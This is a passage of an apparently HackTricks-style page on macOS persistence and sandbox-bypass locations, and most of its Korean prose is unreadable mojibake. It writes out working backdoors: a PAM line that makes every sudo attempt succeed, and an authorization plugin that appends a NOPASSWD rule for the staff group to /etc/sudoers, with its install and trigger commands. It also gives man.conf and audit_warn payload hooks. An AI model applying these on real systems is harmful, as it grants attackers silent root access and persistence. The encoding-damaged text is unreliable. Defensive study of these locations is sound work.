Xcode์์ ์ ํ๋ก์ ํธ๋ฅผ ์์ฑํ๊ณ ํ ํ๋ฆฟ์ผ๋ก ์ Screen Saver๋ฅผ ๋ง๋์ธ์. ๊ทธ๋ฐ ๋ค์ ์ฌ๊ธฐ์ ์ฝ๋๋ฅผ ์ถ๊ฐํฉ๋๋ค โ ์๋ฅผ ๋ค์ด ๋ก๊ทธ๋ฅผ ์์ฑํ๋ ๋ค์ ์ฝ๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
๋น๋ํ ๋ค .saver ๋ฒ๋ค์ **~/Library/Screen Savers**์ ๋ณต์ฌํ์ธ์. ๊ทธ๋ฐ ๋ค์ Screen Saver GUI๋ฅผ ์ด๊ณ ํด๋ฆญํ๋ฉด ๋ง์ ๋ก๊ทธ๊ฐ ์์ฑ๋ฉ๋๋ค:
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
Caution
์ด ์ฝ๋๋ฅผ ๋ก๋ํ๋ ๋ฐ์ด๋๋ฆฌ์ entitlements(
/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) ๋ด๋ถ์์ **com.apple.security.app-sandbox**๋ฅผ ์ฐพ์ ์ ์์ผ๋ฏ๋ก ๋น์ ์ inside the common application sandbox์ ์๊ฒ ๋ฉ๋๋ค.
Saver ์ฝ๋:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Spotlight Plugins
writeup: https://theevilbit.github.io/beyond/beyond_0011/
- Useful to bypass sandbox: ๐
- But you will end in an application sandbox
- TCC bypass: ๐ด
- The sandbox looks very limited
Location
~/Library/Spotlight/- Trigger: A new file with a extension managed by the spotlight plugin is created.
/Library/Spotlight/- Trigger: A new file with a extension managed by the spotlight plugin is created.
- Root required
/System/Library/Spotlight/- Trigger: A new file with a extension managed by the spotlight plugin is created.
- Root required
Some.app/Contents/Library/Spotlight/- Trigger: A new file with a extension managed by the spotlight plugin is created.
- New app required
Description & Exploitation
Spotlight๋ macOS์ ๋ด์ฅ๋ ๊ฒ์ ๊ธฐ๋ฅ์ผ๋ก, ์ฌ์ฉ์๊ฐ ์ปดํจํฐ์ ๋ฐ์ดํฐ์ ๋ํด ๋น ๋ฅด๊ณ ํฌ๊ด์ ์ผ๋ก ์ ๊ทผํ ์ ์๋๋ก ์ค๊ณ๋์์ต๋๋ค.
์ด๋ฌํ ๋น ๋ฅธ ๊ฒ์ ๊ธฐ๋ฅ์ ์ํด Spotlight๋ ๋
์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ ์งํ๊ณ , ๋๋ถ๋ถ์ ํ์ผ์ ํ์ฑํ์ฌ ์ธ๋ฑ์ค๋ฅผ ์์ฑํจ์ผ๋ก์จ ํ์ผ ์ด๋ฆ๊ณผ ๋ด์ฉ ๋ชจ๋์์ ๋น ๋ฅธ ๊ฒ์์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
Spotlight์ ๊ธฐ๋ฐ ๋ฉ์ปค๋์ฆ์ ์ค์ ํ๋ก์ธ์ค์ธ โmdsโ๋ฅผ ํฌํจํ๋ฉฐ, ์ด๋ **โmetadata server.โ**์ ์ฝ์์
๋๋ค. ์ด ํ๋ก์ธ์ค๊ฐ ์ ์ฒด Spotlight ์๋น์ค๋ฅผ ์กฐ์ ํฉ๋๋ค. ๋ณด์์ ์ผ๋ก, ์๋ก ๋ค๋ฅธ ํ์ผ ์ ํ์ ์ธ๋ฑ์ฑํ๋ ๋ฑ ๋ค์ํ ์ ์ง๊ด๋ฆฌ ์์
์ ์ํํ๋ ์ฌ๋ฌ โmdworkerโ ๋ฐ๋ชฌ์ด ์กด์ฌํฉ๋๋ค (ps -ef | grep mdworker). ์ด๋ฌํ ์์
์ Spotlight importer plugins, ๋๋ โ.mdimporter bundlesโ๋ฅผ ํตํด ๊ฐ๋ฅํ๋ฉฐ, ์ด๋ฅผ ํตํด Spotlight๋ ๋ค์ํ ํ์ผ ํ์์ ์ฝํ
์ธ ๋ฅผ ์ดํดํ๊ณ ์ธ๋ฑ์ฑํ ์ ์์ต๋๋ค.
ํ๋ฌ๊ทธ์ธ ๋๋ .mdimporter ๋ฒ๋ค์ ์์ ์ธ๊ธํ ์์น์ ๋์ด๋ฉฐ, ์ ๋ฒ๋ค์ด ๋ํ๋๋ฉด ๋ช ๋ถ ๋ด์ ๋ก๋๋ฉ๋๋ค(์๋น์ค ์ฌ์์ ๋ถํ์). ์ด ๋ฒ๋ค์ ์ด๋ค ํ์ผ ํ์๊ณผ ํ์ฅ์๋ฅผ ์ฒ๋ฆฌํ ์ ์๋์ง๋ฅผ ๋ช
์ํด์ผ ํ๋ฉฐ, ์ด๋ ๊ฒ ํ๋ฉด Spotlight๋ ์ง์ ๋ ํ์ฅ์๋ฅผ ๊ฐ์ง ์ ํ์ผ์ด ์์ฑ๋ ๋ ํด๋น ๋ฒ๋ค์ ์ฌ์ฉํฉ๋๋ค.
Itโs possible to find all the mdimporters loaded running:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
์๋ฅผ ๋ค์ด /Library/Spotlight/iBooksAuthor.mdimporter๋ ์ด๋ฌํ ์ ํ์ ํ์ผ(ํ์ฅ์ .iba ๋ฐ .book ๋ฑ)์ ํ์ฑํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค:
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
Caution
๋ค๋ฅธ
mdimporter์ Plist๋ฅผ ํ์ธํ๋ฉดUTTypeConformsToํญ๋ชฉ์ ์ฐพ์ง ๋ชปํ ์ ์์ต๋๋ค. ์ด๋ ํด๋น ํญ๋ชฉ์ด ๋ด์ฅ๋ Uniform Type Identifiers (UTI) ์ด๊ธฐ ๋๋ฌธ์ ํ์ฅ์๋ฅผ ๋ช ์ํ ํ์๊ฐ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.๋ํ System default plugins๋ ํญ์ ์ฐ์ ๊ถ์ ๊ฐ์ง๋ฏ๋ก ๊ณต๊ฒฉ์๋ Apple์ ์์ฒด
mdimporters์ ์ํด ์ธ๋ฑ์ฑ๋์ง ์์ ํ์ผ์๋ง ์ ๊ทผํ ์ ์์ต๋๋ค.
To create your own importer you could start with this project: https://github.com/megrimm/pd-spotlight-importer and then change the name, the CFBundleDocumentTypes and add UTImportedTypeDeclarations so it supports the extension you would like to support and refelc them in schema.xml.
Then change the code of the function GetMetadataForFile to execute your payload when a file with the processed extension is created.
Finally build and copy your new .mdimporter to one of thre previous locations and you can chech whenever itโs loaded monitoring the logs or checking mdimport -L.
Preference Pane
Caution
๋ ์ด์ ์๋ํ์ง ์๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค.
Writeup: https://theevilbit.github.io/beyond/beyond_0009/
Location
/System/Library/PreferencePanes/Library/PreferencePanes~/Library/PreferencePanes
Description
๋ ์ด์ ์๋ํ์ง ์๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค.
Root Sandbox Bypass
Tip
์ฌ๊ธฐ์๋ sandbox bypass์ ์ ์ฉํ ์์ ์์น๋ค์ ์ฐพ์ ์ ์์ต๋๋ค. ์ด๋ root ๊ถํ์ผ๋ก ํ์ผ์ ์ฐ๊ธฐ๋ง ํด๋ ๋ฌด์ธ๊ฐ๋ฅผ ์คํํ๊ฒ ํ๊ฑฐ๋ ๊ธฐํ ํน์ดํ ์กฐ๊ฑด๋ค์ ์๊ตฌํฉ๋๋ค.
Periodic
Writeup: https://theevilbit.github.io/beyond/beyond_0019/
Location
/etc/periodic/daily,/etc/periodic/weekly,/etc/periodic/monthly,/usr/local/etc/periodic- ๋ฃจํธ ๊ถํ ํ์
- Trigger: ์ง์ ๋ ์๊ฐ์ ์คํ
/etc/daily.local,/etc/weekly.localor/etc/monthly.local- ๋ฃจํธ ๊ถํ ํ์
- Trigger: ์ง์ ๋ ์๊ฐ์ ์คํ
Description & Exploitation
์ฃผ๊ธฐ์ ์คํฌ๋ฆฝํธ (/etc/periodic)๋ /System/Library/LaunchDaemons/com.apple.periodic*์ ๊ตฌ์ฑ๋ launch daemons ๋๋ฌธ์ ์คํ๋ฉ๋๋ค. /etc/periodic/์ ์ ์ฅ๋ ์คํฌ๋ฆฝํธ๋ ํ์ผ์ ์์ ์ ๊ถํ์ผ๋ก ์คํ๋๋ฏ๋ก ์ ์ฌ์ ์ธ ๊ถํ ์์น์๋ ์๋ํ์ง ์์ต๋๋ค.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
์คํ๋ ๋ค๋ฅธ ์ฃผ๊ธฐ์ ์คํฌ๋ฆฝํธ๋ **/etc/defaults/periodic.conf**์ ๋ช
์๋์ด ์์ต๋๋ค:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
๋ง์ฝ /etc/daily.local, /etc/weekly.local ๋๋ /etc/monthly.local ์ค ์ด๋ ํ์ผ์๋ ์ธ ์ ์๋ค๋ฉด, ํด๋น ํ์ผ์ ์ธ์ ๊ฐ ์คํ๋ฉ๋๋ค.
Warning
์ฃผ๊ธฐ์ ์คํฌ๋ฆฝํธ๋ ์คํฌ๋ฆฝํธ ์์ ์ ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค. ๋ฐ๋ผ์ ์ผ๋ฐ ์ฌ์ฉ์๊ฐ ์คํฌ๋ฆฝํธ์ ์์ ์๋ผ๋ฉด ๊ทธ ์ฌ์ฉ์ ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค(์ด๋ก ์ธํด ๊ถํ ์์น ๊ณต๊ฒฉ์ด ๋ฐฉ์ง๋ ์ ์์ต๋๋ค).
PAM
Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/
์์น
- ํญ์ root ํ์
์ค๋ช & Exploitation
PAM์ macOS ๋ด์์ ์ฌ์ด ์คํ๋ณด๋ค๋ persistence์ ๋ฉ์จ์ด์ ๋ ์ด์ ์ ๋ง์ถ๋ฏ๋ก, ์ด ๋ฌธ์์์๋ ์์ธํ ์ค๋ช ์ ์ ๊ณตํ์ง ์์ต๋๋ค. ์ด ๊ธฐ์ ์ ๋ ์ ์ดํดํ๋ ค๋ฉด writeups๋ฅผ ์ฝ์ผ์ธ์.
PAM ๋ชจ๋ ํ์ธ:
ls -l /etc/pam.d
PAM์ ์ ์ฉํ persistence/privilege escalation technique๋ ๋ชจ๋ /etc/pam.d/sudo๋ฅผ ์์ ํ์ฌ ๋งจ ์์ ๋ค์ ๋ผ์ธ์ ์ถ๊ฐํ๋ ๊ฒ๋งํผ ๊ฐ๋จํฉ๋๋ค:
auth sufficient pam_permit.so
๊ทธ๋ฌ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ๋ณด์ผ ๊ฒ์ ๋๋ค:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
๋ฐ๋ผ์ sudo๋ฅผ ์ฌ์ฉํ๋ ค๋ ๋ชจ๋ ์๋๋ ์ฑ๊ณตํฉ๋๋ค.
Caution
์ด ๋๋ ํฐ๋ฆฌ๋ TCC๋ก ๋ณดํธ๋์ด ์์ผ๋ฏ๋ก ์ฌ์ฉ์๊ฐ ์ ๊ทผ ๊ถํ์ ์์ฒญํ๋ ํ๋กฌํํธ๋ฅผ ๋ฐ๊ฒ ๋ ๊ฐ๋ฅ์ฑ์ด ๋งค์ฐ ๋์ต๋๋ค.
๋ ๋ค๋ฅธ ์ข์ ์๋ก๋ su๊ฐ ์์ผ๋ฉฐ, PAM modules์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ ๋ฌํ ์ ์๋ค๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค(๊ทธ๋ฆฌ๊ณ ์ด ํ์ผ์ backdoorํ ์๋ ์์ต๋๋ค):
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
Authorization Plugins
์ฐธ๊ณ : https://theevilbit.github.io/beyond/beyond_0028/\
์ฐธ๊ณ : https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Useful to bypass sandbox: ๐
- ํ์ง๋ง root ๊ถํ์ด ํ์ํ๊ณ ์ถ๊ฐ ๊ตฌ์ฑ์ด ํ์ํจ
- TCC ์ฐํ: ???
Location
/Library/Security/SecurityAgentPlugins/- root ๊ถํ ํ์
- authorization database๋ฅผ ๊ตฌ์ฑํ์ฌ ํ๋ฌ๊ทธ์ธ์ ์ฌ์ฉํ๋๋ก ์ค์ ํด์ผ ํจ
Description & Exploitation
์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ๋ ์คํ๋์ด persistence๋ฅผ ์ ์งํ๋ authorization plugin์ ์์ฑํ ์ ์๋ค. ์ด๋ฌํ ํ๋ฌ๊ทธ์ธ ์์ฑ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ์์ writeup๋ค์ ์ฐธ๊ณ ํ๋ผ(์ฃผ์: ์๋ชป ์์ฑ๋ ํ๋ฌ๊ทธ์ธ์ ์์คํ ์์ ์ ๊ธธ ์ ์์ผ๋ฉฐ recovery mode์์ mac์ ์ ๋ฆฌํด์ผ ํ ์๋ ์์).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Move ๋ฒ๋ค์ ๋ก๋๋ ์์น๋ก ์ด๋:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
๋ง์ง๋ง์ผ๋ก ์ด ํ๋ฌ๊ทธ์ธ์ ๋ก๋ํ ๊ท์น์ ์ถ๊ฐํ์ธ์:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
**evaluate-mechanisms**๋ ๊ถํ ๋ถ์ฌ ํ๋ ์์ํฌ์ ๊ถํ ๋ถ์ฌ๋ฅผ ์ํด ์ธ๋ถ ๋ฉ์ปค๋์ฆ์ ํธ์ถํด์ผ ํจ์ ์๋ฆฝ๋๋ค. ๋ํ, **privileged**๋ ์ด๋ฅผ root๋ก ์คํ๋๊ฒ ํฉ๋๋ค.
๋ค์๊ณผ ๊ฐ์ด ํธ๋ฆฌ๊ฑฐํ์ธ์:
security authorize com.asdf.asdf
๊ทธ๋ฆฌ๊ณ staff ๊ทธ๋ฃน์ sudo ์ ๊ทผ ๊ถํ์ ๊ฐ์ ธ์ผ ํจ (ํ์ธํ๋ ค๋ฉด /etc/sudoers ์ฝ๊ธฐ).
Man.conf
Writeup: https://theevilbit.github.io/beyond/beyond_0030/
- sandbox๋ฅผ bypassํ๋ ๋ฐ ์ ์ฉ: ๐
- ํ์ง๋ง root ๊ถํ์ด์ด์ผ ํ๊ณ ์ฌ์ฉ์๊ฐ man์ ์ฌ์ฉํด์ผ ํจ
- TCC bypass: ๐ด
Location
/private/etc/man.conf- root ๊ถํ ํ์
/private/etc/man.conf: man์ด ์ฌ์ฉ๋ ๋๋ง๋ค
Description & Exploit
์ค์ ํ์ผ **/private/etc/man.conf**๋ man ๋ฌธ์ ํ์ผ์ ์ด ๋ ์ฌ์ฉํ binary/script๋ฅผ ์ง์ ํฉ๋๋ค. ๋ฐ๋ผ์ ์คํ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ์์ ํ๋ฉด ์ฌ์ฉ์๊ฐ ๋ฌธ์๋ฅผ ๋ณด๊ธฐ ์ํด man์ ์ฌ์ฉํ ๋๋ง๋ค backdoor๊ฐ ์คํ๋ ์ ์์ต๋๋ค.
์: **/private/etc/man.conf**์ ๋ค์์ ์ค์ :
MANPAGER /tmp/view
๊ทธ๋ฐ ๋ค์ /tmp/view๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํฉ๋๋ค:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
ํด์ค: https://theevilbit.github.io/beyond/beyond_0023/
- bypass sandbox์ ์ ์ฉ: ๐
- ํ์ง๋ง root ๊ถํ์ด ํ์ํ๊ณ apache๊ฐ ์คํ ์ค์ด์ด์ผ ํจ
- TCC bypass: ๐ด
- Httpd์๋ entitlements๊ฐ ์์
์์น
/etc/apache2/httpd.conf- Root ๊ถํ ํ์
- ํธ๋ฆฌ๊ฑฐ: Apache2๊ฐ ์์๋ ๋
์ค๋ช & Exploit
๋ค์๊ณผ ๊ฐ์ ์ค์ ์ถ๊ฐํ์ฌ /etc/apache2/httpd.conf์์ ๋ชจ๋์ ๋ก๋ํ๋๋ก ์ง์ ํ ์ ์๋ค:
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
์ด๋ ๊ฒ ํ๋ฉด ์ปดํ์ผ๋ ๋ชจ๋์ด Apache์ ์ํด ๋ก๋๋ฉ๋๋ค. ๋จ, ๋ค์ ์ค ํ๋๋ฅผ ์ํํด์ผ ํฉ๋๋ค: ์ ํจํ Apple ์ธ์ฆ์๋ก ์๋ช , ๋๋ ์์คํ ์ ์๋ก์ด ์ ๋ขฐํ ์ ์๋ ์ธ์ฆ์๋ฅผ ์ถ๊ฐํ ๋ค ํด๋น ์ธ์ฆ์๋ก ์๋ช ํด์ผ ํฉ๋๋ค.
ํ์ํ ๊ฒฝ์ฐ ์๋ฒ๊ฐ ์์๋๋๋ก ํ๊ธฐ ์ํด ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Dylb์ ๋ํ ์ฝ๋ ์์:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM audit framework
Writeup: https://theevilbit.github.io/beyond/beyond_0031/
- sandbox ์ฐํ์ ์ ์ฉํจ: ๐
- ๊ทธ๋ฌ๋ root์ฌ์ผ ํ๊ณ , auditd๊ฐ ์คํ ์ค์ด๋ฉฐ ๊ฒฝ๊ณ ๋ฅผ ๋ฐ์์์ผ์ผ ํจ
- TCC bypass: ๐ด
Location
/etc/security/audit_warn- root ๊ถํ ํ์
- ํธ๋ฆฌ๊ฑฐ: auditd๊ฐ ๊ฒฝ๊ณ ๋ฅผ ๊ฐ์งํ ๋
Description & Exploit
auditd๊ฐ ๊ฒฝ๊ณ ๋ฅผ ๊ฐ์งํ๋ฉด ์คํฌ๋ฆฝํธ **/etc/security/audit_warn**๊ฐ ์คํ๋ฉ๋๋ค. ๋ฐ๋ผ์ ํด๋น ํ์ผ์ payload๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
sudo audit -n๋ก ๊ฒฝ๊ณ ๋ฅผ ๊ฐ์ ํ ์ ์์ต๋๋ค.
์์ ํญ๋ชฉ
[!CAUTION] > ์ด๊ฒ์ ๋ ์ด์ ์ฌ์ฉ๋์ง ์์ผ๋ฏ๋ก ํด๋น ๋๋ ํฐ๋ฆฌ์์๋ ์๋ฌด ๊ฒ๋ ์ฐพ์์๋ ์ ๋ฉ๋๋ค.
The StartupItem is a directory that should be positioned within either /Library/StartupItems/ or /System/Library/StartupItems/. Once this directory is established, it must encompass two specific files:
- An rc script: ์์คํ ์์ ์ ์คํ๋๋ ์ ์คํฌ๋ฆฝํธ.
- A plist file:
StartupParameters.plist๋ผ๋ ์ด๋ฆ์ ํ์ผ๋ก, ๋ค์ํ ๊ตฌ์ฑ ์ค์ ์ ํฌํจํฉ๋๋ค.
์์ ํ๋ก์ธ์ค๊ฐ ์ด๋ฅผ ์ธ์ํ๊ณ ์ฌ์ฉํ๋ ค๋ฉด rc script์ StartupParameters.plist ํ์ผ์ด ๋ชจ๋ StartupItem ๋๋ ํฐ๋ฆฌ ๋ด๋ถ์ ์ฌ๋ฐ๋ฅด๊ฒ ๋ฐฐ์น๋์ด์ผ ํฉ๋๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
emond
Caution
๋ด macOS์์ ์ด ๊ตฌ์ฑ์์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ writeup์ ํ์ธํ์ธ์
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
Introduced by Apple, emond is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. Apple์ด ๋์ ํ emond๋ ๋ฏธ์์ฑ๋์๊ฑฐ๋ ์ฌ์ค์ ๋ฐฉ์น๋ ๊ฒ์ผ๋ก ๋ณด์ด๋ ๋ก๊น ๋ฉ์ปค๋์ฆ์ด์ง๋ง ์ฌ์ ํ ์ ๊ทผ ๊ฐ๋ฅํฉ๋๋ค. Mac ๊ด๋ฆฌ์์๊ฒ๋ ํฌ๊ฒ ์ ์ฉํ์ง ์์ง๋ง, ์ด ์ ์๋ ค์ง์ง ์์ ์๋น์ค๋ ์ํ ํ์์๊ฐ ๋๋ถ๋ถ์ macOS ๊ด๋ฆฌ์์๊ฒ ๋์น์ฑ์ง์ง ์์ ์ฑ ์๋ฐํ persistence ์๋จ์ผ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ด ์กด์ฌ๋ฅผ ์๋ ์ฌ๋์ด๋ผ๋ฉด emond์ ์ ์ฑ ์ฌ์ฉ ์ฌ๋ถ๋ฅผ ์๋ณํ๋ ๊ฒ์ ๋น๊ต์ ๊ฐ๋จํฉ๋๋ค. ์ด ์๋น์ค์ ์์คํ LaunchDaemon์ ์คํํ ์คํฌ๋ฆฝํธ๋ฅผ ๋จ์ผ ๋๋ ํฐ๋ฆฌ์์ ์ฐพ์ต๋๋ค. ์ด๋ฅผ ๊ฒ์ฌํ๋ ค๋ฉด ๋ค์ ๋ช ๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
ls -l /private/var/db/emondClients
XQuartz
์ฐธ๊ณ : https://theevilbit.github.io/beyond/beyond_0018/
์์น
/opt/X11/etc/X11/xinit/privileged_startx.d- root ๊ถํ ํ์
- ํธ๋ฆฌ๊ฑฐ: With XQuartz
์ค๋ช & Exploit
XQuartz๋ macOS์ ๋ ์ด์ ์ค์น๋์ด ์์ง ์์ต๋๋ค, ์์ธํ ๋ด์ฉ์ ์์ writeup์ ํ์ธํ์ธ์.
kext
Caution
kext๋ฅผ root๋ก ์ค์นํ๋ ๊ฒ์กฐ์ฐจ ๋งค์ฐ ๋ณต์กํ๋ฏ๋ก, exploit์ด ์๋ค๋ฉด ์ด๋ฅผ sandboxes๋ฅผ ํ์ถํ๊ฑฐ๋ persistence๋ฅผ ์ํ ๋ฐฉ๋ฒ์ผ๋ก ๊ณ ๋ คํ์ง ์์ต๋๋ค.
์์น
KEXT๋ฅผ startup item์ผ๋ก ์ค์นํ๋ ค๋ฉด, ๋ค์ ์์น ์ค ํ๋์ ์ค์น๋์ด์ผ ํฉ๋๋ค:
/System/Library/Extensions- OS X ์ด์์ฒด์ ์ ๋ด์ฅ๋ KEXT ํ์ผ.
/Library/Extensions- ํ์ฌ ์ํํธ์จ์ด์ ์ํด ์ค์น๋ KEXT ํ์ผ
ํ์ฌ ๋ก๋๋ kext ํ์ผ์ ๋์ดํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
For more information about kernel extensions check this section.
amstoold
Writeup: https://theevilbit.github.io/beyond/beyond_0029/
Location
/usr/local/bin/amstoold- ๋ฃจํธ ๊ถํ ํ์
Description & Exploitation
ํด๋น plist(/System/Library/LaunchAgents/com.apple.amstoold.plist)๋ ์ด ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ฉด์ XPC ์๋น์ค๋ฅผ ๋
ธ์ถํ๊ณ ์์๋๋ฐโฆ ๋ฌธ์ ๋ ๊ทธ ๋ฐ์ด๋๋ฆฌ๊ฐ ์กด์ฌํ์ง ์์๋ค๋ ์ ์
๋๋ค. ๋ฐ๋ผ์ ๊ทธ ์์น์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฐฐ์นํ๋ฉด XPC ์๋น์ค๊ฐ ํธ์ถ๋ ๋ ํด๋น ๋ฐ์ด๋๋ฆฌ๊ฐ ์คํ๋ฉ๋๋ค.
์ macOS์์๋ ๋ ์ด์ ์ด ํญ๋ชฉ์ ์ฐพ์ ์ ์์ต๋๋ค.
xsanctl
